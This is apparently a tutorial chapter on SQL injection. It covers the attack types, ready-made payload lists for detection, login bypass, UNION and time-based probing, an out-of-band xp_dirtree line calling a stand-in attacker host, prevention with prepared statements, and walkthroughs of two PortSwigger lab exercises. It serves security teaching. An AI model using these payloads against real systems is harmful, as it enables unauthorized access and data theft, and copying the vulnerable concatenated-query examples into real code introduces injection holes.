9.SQL Injection

- SQL Injection is a vulnerability where an attacker manipulates SQL queries by injecting malicious input into application fields, causing the database to execute unintended commands.
- You're putting SQL code where the application expects normal data, and the database accidentally runs your code!

SQL Injection occurs when:

- User input is inserted directly into SQL queries
- Attacker manipulates the query structure
- Database executes unintended commands
- Attacker gains unauthorized access to data

How SQL Queries Work

Selecting data:

```
SELECT * FROM users WHERE username = 'john' AND password = 'secret123'
```

What this does:

- SELECT * → Get all columns
- FROM users → From the users table
- WHERE → Filter condition
- Returns user if username AND password match

How SQL Injection Works

Vulnerable Code Example :

```
$username = $_POST['username'];
$password = $_POST['password'];

$query = "SELECT * FROM users WHERE username = '$username' AND password =
'$password'";
```

Normal Login:

User enters: john / secret123

Query becomes:

```
SELECT * FROM users WHERE username = 'john' AND password = 'secret123'
```

Result: Returns john's account if password is correct ✓

SQL Injection Attack:

User enters: admin'-- / anything

Query becomes:

```
SELECT * FROM users WHERE username = 'admin'--' AND password = 'anything'
```

admin' → Closes the username string
-- → Comments out the rest of the query

The password check is completely bypassed!
Result: Logs in as admin without knowing the password!

```
SELECT * FROM users WHERE username = ' admin'-- ' AND password = ' anything '
                                       ↑      ↑↑↑
                                     Quote  Payload

admin'   → Closes the string early
--       → Comments out everything after

Effective query: SELECT * FROM users WHERE username = 'admin'
```

The attacker injects a comment (--) to terminate the original SQL query, removing the password condition so authentication is bypassed.

Types of SQL Injection

Type 1: In-Band SQLi

```
 **Results are directly visible in the response.**
```

a. Error-Based SQLi

```
**Force database errors that reveal information:**
```

```
Input: ' OR 1=CONVERT(int, (SELECT TOP 1 username FROM users))--

Error: Conversion failed when converting 'admin' to int
```

The error message leaks the username!

b. UNION-Based SQLi

```
Combine your query with the original:
```

```
' UNION SELECT username, password FROM users--
```

Data from users table appears in the response.

Type 2: Blind SQLi

```
No visible output, but you can infer results.
```

c. Boolean-Based Blind

```
Ask true/false questions:
```

```
' AND 1=1--     → Page loads normally (TRUE)
' AND 1=2--     → Page behaves differently (FALSE)
```

b. Time-Based Blind

```
 No visible difference? Use time delays:
```

```
' AND SLEEP(5)--      → If vulnerable, response takes 5 seconds
' AND IF(1=1, SLEEP(5), 0)--   → Conditional delay
```

Type 3: Out-of-Band SQLi

```
 Send data to external server you control:
```

```
'; EXEC xp_dirtree '\\attacker.com\share'--
```

Database makes DNS/HTTP request to your server with data.

SQL Injection Locations

Common injection points:

- Login forms (username/password fields)
- Search boxes
- URL parameters (?id=1)
- Cookie values
- HTTP headers (User-Agent, Referer)
- Hidden form fields
- API parameters (JSON/XML)

URL ex:-

```
https://shop.com/product?id=1
https://shop.com/user?name=john
https://shop.com/search?q=laptop
https://shop.com/category?cat=electronics&sort=price
```

Basic SQLi Payloads:-

Detection payloads:

```
'
''
`
``
,
"
""
/
//
\
\\
;
' or "
-- or #
' OR '1
' OR 1 -- -
```

```
" OR "" = "
" OR 1 = 1 -- -
' OR '' = '
'='
'LIKE'
'=0--+
```

Authentication bypass:

```
admin'--
admin' #
admin'/*
' OR 1=1--
' OR 1=1#
' OR 1=1/*
') OR ('1'='1
') OR ('1'='1'--
' OR 'x'='x
' OR 1=1 LIMIT 1 -- -+
```

UNION-based:

```
' UNION SELECT NULL--
' UNION SELECT NULL, NULL--
' UNION SELECT NULL, NULL, NULL--
' UNION SELECT 1,2,3--
' UNION SELECT username, password FROM users--
```

Time-based:

```
'; WAITFOR DELAY '0:0:5'--
'; SLEEP(5)--
' AND SLEEP(5)--
' OR SLEEP(5)--
```

Impact of SQL Injection

Data Breach:

```
Steal entire database contents
User credentials
Personal information (PII)
```

```
Financial data
Business secrets
```

Authentication Bypass:

```
Login as any user
Access admin accounts
Impersonate other users
```

Data Manipulation:

```
Modify data (prices, balances)
Delete records
Insert malicious data
```

Remote Code Execution:

```
Read/write files on server
Execute system commands
Full server compromise
```

Database-Specific Syntax

```
Database                                Comment Syntax
MySQL                               # or -- (with space) or /* */
PostgreSQL                          -- or /* */
Oracle                                  -- or /* */
MSSQL                                   -- or /* */
```

String Concatenation:

```
Database                                Syntax
MySQL                                   CONCAT('a','b') or 'a' 'b'
PostgreSQL                      'a' || 'b'
Oracle                                  'a' || 'b'
MSSQL                               'a' + 'b'
```

Version Detection:

```
Database                                     Query
MySQL                                        SELECT @@version
```

```
PostgreSQL                                        SELECT version()
Oracle                                                SELECT banner FROM v$version
MSSQL                                             SELECT @@version
```

Prevention Methods

1. Use Prepared Statements (Best defense)

- Separates SQL logic from data
- Input is treated as data, not code
  Example (safe):

```sql
SELECT * FROM users WHERE username = ? AND password = ?;
```

```python
# VULNERABLE - String concatenation
query = "SELECT * FROM users WHERE id = '" + user_id + "'"

# SECURE - Parameterized query
cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,))
```

```java
// VULNERABLE
String query = "SELECT * FROM users WHERE id = '" + userId + "'";

// SECURE
PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE id =
?");
stmt.setString(1, userId);
```

2. Input validation

- Whitelist expected formats (numbers, emails)
- Reject unexpected characters

```python
# Whitelist approach
if user_input not in ['option1', 'option2', 'option3']:
    reject()

# Type checking
user_id = int(user_input)  # Will fail if not a number
```

3. Least privilege

- Database user should have minimal permissions
- Don't use 'root' or 'sa' for web app connections
- Limit access to specific tables only

4. Hide error messages

Do not expose SQL/database errors to users

Lab 1 : Retrieving Hidden Data

Goal: Perform SQL injection to display all products, including unreleased hidden ones

Key Concept: Manipulating the WHERE clause to bypass filters

1.Click on any category like "Gifts" or "Accessories"
2.Notice the URL changes

```
https://YOUR-LAB-ID.web-security-academy.net/filter?category=Gifts
```

3.Understand the Backend Query
When you click "Gifts", the server probably runs:

```sql
     SELECT * FROM products WHERE category = 'Gifts' AND released = 1
```

```
 This query:

Gets all columns from products table
Filters by category = 'Gifts'
Only shows released products (released = 1)
```

The hidden products have released = 0, so they don't appear.

Test for SQL Injection

Add a single quote to the category parameter:

```
https://YOUR-LAB-ID.web-security-academy.net/filter?category=Gifts'
```

What to look for:

```
Error message → Vulnerable!
Page breaks or looks different → Likely vulnerable
Normal response → Might not be vulnerable or error handling is good
```

The single quote breaks the SQL syntax:

Craft the Payload

Our goal: Make the WHERE clause always true

Payload:

```
Gifts' OR 1=1--
```

```
Gifts' OR 1=1--

Gifts   → Original category value (can be anything)
'       → Closes the string that started with WHERE category = '
OR      → SQL OR operator
1=1     → Always true condition
--      → Comment symbol (ignores everything after)
```

After injection:

```sql
SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1
```

```
where:
Gifts'     → Closes the original string
OR 1=1     → Adds condition that's always TRUE
--         → Comments out the rest (AND released = 1)
```

Execute the Attack

```
https://YOUR-LAB-ID.web-security-academy.net/filter?category=Gifts'+OR+1=1--
```

LAB 2: Login Bypass

Goal: Login as the administrator user
Key Concept: Manipulating login query to bypass password check

login form is our target!

Backend Query

When you submit login, the server probably runs:

```
SELECT * FROM users WHERE username = 'INPUT_USER' AND password = 'INPUT_PASS'
```

example:-

```
SELECT * FROM users WHERE username = 'administrator' AND password =
'secretpass123'
```

The Attack

Comment out the password check

After injection:-

```
SELECT * FROM users WHERE username = 'administrator'--' AND password =
'anything'
                                             ↑
                                     Everything after -- is ignored!
```

The password check is completely bypassed!

Execute the Attack

1. Enter in username field:

```
administrator'--
```

2. Enter in password field:

```
anything
```

3. Click Login

Can be Also done by using Burpsuite.